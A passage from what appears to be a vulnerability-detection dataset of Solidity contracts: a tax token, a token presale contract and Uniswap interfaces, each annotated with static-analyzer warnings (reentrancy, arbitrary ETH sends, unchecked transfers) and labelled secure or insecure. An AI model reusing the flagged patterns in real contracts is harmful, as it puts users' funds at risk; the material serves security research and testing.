private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"ForPeanut\";\n\n string private constant _symbol = unicode\"GOPnut\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c276c3): ForPeanut._taxSwapThreshold should be constant \n\t// Recommendation for 0c276c3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02a9e1b): ForPeanut._maxTaxSwap should be constant \n\t// Recommendation for 02a9e1b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 72bc503): ForPeanut.uniswapV2Router should be immutable \n\t// Recommendation for 72bc503: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5dee08a): ForPeanut.uniswapV2Pair should be immutable \n\t// Recommendation for 5dee08a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5383bdf): ForPeanut.sellsPerBlock should be constant \n\t// Recommendation for 5383bdf: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: da813ca): ForPeanut.buysFirstBlock should be constant \n\t// Recommendation for da813ca: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 100;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7bb7a6e): ForPeanut.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7bb7a6e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 74fba09): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 74fba09: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fe26ab2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fe26ab2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 74fba09\n\t\t// reentrancy-benign | ID: fe26ab2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 74fba09\n\t\t// reentrancy-benign | ID: fe26ab2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4976e2d): ForPeanut._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4976e2d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: fe26ab2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 74fba09\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0d3b0aa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0d3b0aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: e284dcc): ForPeanut._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for e284dcc: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c35da81): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c35da81: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9166faa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9166faa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: e284dcc\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 0d3b0aa\n\t\t\t\t// reentrancy-eth | ID: c35da81\n\t\t\t\t// reentrancy-eth | ID: 9166faa\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0d3b0aa\n\t\t\t\t\t// reentrancy-eth | ID: c35da81\n\t\t\t\t\t// reentrancy-eth | ID: 9166faa\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9166faa\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9166faa\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 0d3b0aa\n\t\t\t\t// reentrancy-eth | ID: c35da81\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0d3b0aa\n\t\t\t\t\t// reentrancy-eth | ID: c35da81\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c35da81\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0d3b0aa\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: c35da81\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: c35da81\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0d3b0aa\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 74fba09\n\t\t// reentrancy-events | ID: 0d3b0aa\n\t\t// reentrancy-benign | ID: fe26ab2\n\t\t// reentrancy-eth | ID: c35da81\n\t\t// reentrancy-eth | ID: 9166faa\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8de518e): ForPeanut.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8de518e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 74fba09\n\t\t// reentrancy-events | ID: 0d3b0aa\n\t\t// reentrancy-eth | ID: c35da81\n\t\t// reentrancy-eth | ID: 9166faa\n\t\t// arbitrary-send-eth | ID: 8de518e\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 324d6ba): ForPeanut.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 324d6ba: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint256 _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 324d6ba\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fa7dea4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fa7dea4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 68cf99b): ForPeanut.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 68cf99b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0cb7263): ForPeanut.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0cb7263: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 41b3989): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 41b3989: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: fa7dea4\n\t\t// unused-return | ID: 68cf99b\n\t\t// reentrancy-eth | ID: 41b3989\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fa7dea4\n\t\t// unused-return | ID: 0cb7263\n\t\t// reentrancy-eth | ID: 41b3989\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: fa7dea4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 41b3989\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: fa7dea4\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_1056.sol", "secure": 0, "size_bytes": 20268 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\n\ncontract GiffyPresale is Ownable {\n IERC20 public token;\n\n IERC20Metadata public tokenMetadata;\n\n AggregatorV3Interface public priceFeed;\n\n address public sellerAddress;\n\n address public paymentAddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2c9e127): GiffyPresale.usdtAddress should be immutable \n\t// Recommendation for 2c9e127: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public usdtAddress;\n\n uint256 public presaleTokenAmount;\n\n bool public presaleActive = true;\n\n uint256 public totalSold = 0;\n\n uint256 public presaleEndTime;\n\n mapping(address => uint256) public userTokens;\n\n struct Stage {\n uint256 id;\n uint256 bonus;\n uint256 price;\n uint256 start;\n uint256 end;\n }\n\n mapping(uint256 => Stage) public stages;\n\n uint256 public maxStage = 4;\n\n\t// WARNING Optimization Issue (constable-states | ID: 82ead6e): GiffyPresale.currentStageId should be constant \n\t// Recommendation for 82ead6e: Add the 'constant' attribute to state variables that never change.\n uint256 currentStageId = 0;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0dd56fe): GiffyPresale.constructor(address,address,address,address,address)._seller lacks a zerocheck on \t sellerAddress = _seller\n\t// Recommendation for 0dd56fe: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bc24a5e): GiffyPresale.constructor(address,address,address,address,address)._payment lacks a zerocheck on \t paymentAddress = _payment\n\t// Recommendation for bc24a5e: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6692eab): GiffyPresale.constructor(address,address,address,address,address)._usdt lacks a zerocheck on \t usdtAddress = _usdt\n\t// Recommendation for 6692eab: Check that the address is not zero.\n constructor(\n address _seller,\n address _payment,\n address _token,\n address _priceFeed,\n address _usdt\n ) Ownable(msg.sender) {\n token = IERC20(_token);\n\n tokenMetadata = IERC20Metadata(_token);\n\n\t\t// missing-zero-check | ID: 0dd56fe\n sellerAddress = _seller;\n\n\t\t// missing-zero-check | ID: bc24a5e\n paymentAddress = _payment;\n\n priceFeed = AggregatorV3Interface(_priceFeed);\n\n\t\t// missing-zero-check | ID: 6692eab\n usdtAddress = _usdt;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d6b0148): GiffyPresale.getEthToUsdPrice() ignores return value by (None,price,None,None,None) = priceFeed.latestRoundData()\n\t// Recommendation for d6b0148: Ensure that all the return values of the function calls are used.\n function getEthToUsdPrice() public view returns (int256) {\n\t\t// unused-return | ID: d6b0148\n (, int256 price, , , ) = priceFeed.latestRoundData();\n\n return price;\n }\n\n function convertEthToUsd(uint256 ethAmount) public view returns (uint256) {\n int256 ethToUsdPrice = getEthToUsdPrice();\n\n uint256 usdAmount = (ethAmount * uint256(ethToUsdPrice)) /\n (10 ** priceFeed.decimals());\n\n return usdAmount;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 737e554): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 737e554: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 3f0564d): GiffyPresale.buyTokenWithEth(uint256) contains a tautology or contradiction require(bool,string)(_amount >= 0,Please enter minimum token!)\n\t// Recommendation for 3f0564d: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2a0c858): GiffyPresale.buyTokenWithEth(uint256) performs a multiplication on the result of a division _bonusAmount = (_amount * _bonus) / 100 _bonusAmount *= 1e18\n\t// Recommendation for 2a0c858: Consider ordering multiplication before division.\n function buyTokenWithEth(uint256 _amount) public payable {\n require(presaleActive, \"Presale is not active!\");\n\n\t\t// tautology | ID: 3f0564d\n require(_amount >= 0, \"Please enter minimum token!\");\n\n uint256 _id = getCurrentStageIdActive();\n\n require(_id > 0, \"Stage info not available!\");\n\n uint256 _bonus = stages[_id].bonus;\n\n uint256 _price = stages[_id].price;\n\n uint256 _start = stages[_id].start;\n\n uint256 _end = stages[_id].end;\n\n\t\t// timestamp | ID: 737e554\n require(_start <= block.timestamp, \"Presale has not started yet!\");\n\n\t\t// timestamp | ID: 737e554\n require(_end >= block.timestamp, \"Presale end!\");\n\n uint256 _totalPayUsd = _amount * _price;\n\n uint256 _ethToUsd = convertEthToUsd(1e18);\n\n uint256 _totalPayAmount = _totalPayUsd / _ethToUsd;\n\n require(msg.value >= _totalPayAmount, \"Not enough payment!\");\n\n uint256 _weiAmount = _amount * 1e18;\n\n\t\t// divide-before-multiply | ID: 2a0c858\n uint256 _bonusAmount = (_amount * _bonus) / 100;\n\n\t\t// divide-before-multiply | ID: 2a0c858\n _bonusAmount *= 1e18;\n\n uint256 _totalAmount = _weiAmount + _bonusAmount;\n\n uint256 _tokenDecimals = tokenMetadata.decimals();\n\n uint256 _subDecimals = 18 - _tokenDecimals;\n\n uint256 _totalTokenAmount = _totalAmount / (10 ** _subDecimals);\n\n require(\n (totalSold + _totalTokenAmount) <= presaleTokenAmount,\n \"Presale token amount exceeds!\"\n );\n\n require(\n payable(sellerAddress).send(msg.value),\n \"Failed to transfer ETH payment!\"\n );\n\n userTokens[msg.sender] += _totalTokenAmount;\n\n totalSold += _totalTokenAmount;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 846f05b): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 846f05b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 556516b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 556516b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: ec2d151): GiffyPresale.buyTokenWithUsdt(uint256) contains a tautology or contradiction require(bool,string)(_amount >= 0,Please enter minimum token!)\n\t// Recommendation for ec2d151: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fbd435e): GiffyPresale.buyTokenWithUsdt(uint256) performs a multiplication on the result of a division _bonusAmount = (_amount * _bonus) / 100 _bonusAmount *= 1e18\n\t// Recommendation for fbd435e: Consider ordering multiplication before division.\n function buyTokenWithUsdt(uint256 _amount) public {\n require(presaleActive, \"Presale is not active!\");\n\n\t\t// tautology | ID: ec2d151\n require(_amount >= 0, \"Please enter minimum token!\");\n\n uint256 _id = getCurrentStageIdActive();\n\n require(_id > 0, \"Stage info not available!\");\n\n uint256 _bonus = stages[_id].bonus;\n\n uint256 _price = stages[_id].price;\n\n uint256 _start = stages[_id].start;\n\n uint256 _end = stages[_id].end;\n\n\t\t// timestamp | ID: 846f05b\n require(_start <= block.timestamp, \"Presale has not started yet!\");\n\n\t\t// timestamp | ID: 846f05b\n require(_end >= block.timestamp, \"Presale end!\");\n\n uint256 _totalPayUsd = _amount * _price;\n\n uint256 _usdtAmount = _totalPayUsd;\n\n\t\t// reentrancy-benign | ID: 556516b\n require(\n IERC20(usdtAddress).transferFrom(\n msg.sender,\n paymentAddress,\n _usdtAmount\n ),\n \"Failed to transfer USDT payment!\"\n );\n\n uint256 _weiAmount = _amount * 1e18;\n\n\t\t// divide-before-multiply | ID: fbd435e\n uint256 _bonusAmount = (_amount * _bonus) / 100;\n\n\t\t// divide-before-multiply | ID: fbd435e\n _bonusAmount *= 1e18;\n\n uint256 _totalAmount = _weiAmount + _bonusAmount;\n\n uint256 _tokenDecimals = tokenMetadata.decimals();\n\n uint256 _subDecimals = 18 - _tokenDecimals;\n\n uint256 _totalTokenAmount = _totalAmount / (10 ** _subDecimals);\n\n require(\n (totalSold + _totalTokenAmount) <= presaleTokenAmount,\n \"Presale token amount exceeds!\"\n );\n\n\t\t// reentrancy-benign | ID: 556516b\n userTokens[msg.sender] += _totalTokenAmount;\n\n\t\t// reentrancy-benign | ID: 556516b\n totalSold += _totalTokenAmount;\n }\n\n function setToken(address _token) public onlyOwner {\n token = IERC20(_token);\n\n tokenMetadata = IERC20Metadata(_token);\n }\n\n function setPriceFeed(address _priceFeed) public onlyOwner {\n priceFeed = AggregatorV3Interface(_priceFeed);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cec9528): GiffyPresale.setSellerAddress(address)._seller lacks a zerocheck on \t sellerAddress = _seller\n\t// Recommendation for cec9528: Check that the address is not zero.\n function setSellerAddress(address _seller) public onlyOwner {\n\t\t// missing-zero-check | ID: cec9528\n sellerAddress = _seller;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e020544): GiffyPresale.setPaymentAddress(address)._payment lacks a zerocheck on \t paymentAddress = _payment\n\t// Recommendation for e020544: Check that the address is not zero.\n function setPaymentAddress(address _payment) public onlyOwner {\n\t\t// missing-zero-check | ID: e020544\n paymentAddress = _payment;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8b2b307): GiffyPresale.setPresaleTokenAmount(uint256) should emit an event for presaleTokenAmount = _amount \n\t// Recommendation for 8b2b307: Emit an event for critical parameter changes.\n function setPresaleTokenAmount(uint256 _amount) public onlyOwner {\n\t\t// events-maths | ID: 8b2b307\n presaleTokenAmount = _amount;\n }\n\n function flipPresaleActive() public onlyOwner {\n presaleActive = !presaleActive;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6f1eb3b): GiffyPresale.setMaxStage(uint256) should emit an event for maxStage = _maxStage \n\t// Recommendation for 6f1eb3b: Emit an event for critical parameter changes.\n function setMaxStage(uint256 _maxStage) public onlyOwner {\n\t\t// events-maths | ID: 6f1eb3b\n maxStage = _maxStage;\n }\n\n function addStage(\n uint256 _id,\n uint256 _bonus,\n uint256 _price,\n uint256 _start,\n uint256 _end\n ) public onlyOwner {\n stages[_id] = Stage(_id, _bonus, _price, _start, _end);\n }\n\n function setStage(\n uint256 _id,\n uint256 _bonus,\n uint256 _price,\n uint256 _start,\n uint256 _end\n ) public onlyOwner {\n stages[_id] = Stage(_id, _bonus, _price, _start, _end);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8a4b9f7): GiffyPresale.getCurrentStageIdActive() uses timestamp for comparisons Dangerous comparisons stages[i].start <= block.timestamp && stages[i].end >= block.timestamp\n\t// Recommendation for 8a4b9f7: Avoid relying on 'block.timestamp'.\n function getCurrentStageIdActive() public view returns (uint256) {\n for (uint256 i = maxStage; i > 0; i--) {\n if (\n\t\t\t\t// timestamp | ID: 8a4b9f7\n stages[i].start <= block.timestamp &&\n stages[i].end >= block.timestamp\n ) {\n return i;\n }\n }\n\n return 0;\n }\n\n function setEmptyTotalSold() public onlyOwner {\n totalSold = 0;\n }\n\n function withdrawFunds() public onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n function getUserTokens(address _user) public view returns (uint256) {\n return userTokens[_user];\n }\n\n function setPresaleEndTime(uint256 _endTime) public onlyOwner {\n presaleEndTime = _endTime;\n }\n}", "file_name": "solidity_code_1057.sol", "secure": 0, "size_bytes": 13109 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_1058.sol", "secure": 1, "size_bytes": 726 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n}", "file_name": "solidity_code_1059.sol", "secure": 1, "size_bytes": 2453 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TROBUFF is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable elease;\n\n constructor() {\n _name = \"TROBUFF\";\n\n _symbol = \"TROBUFF\";\n\n _decimals = 18;\n\n uint256 initialSupply = 710000000;\n\n elease = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) 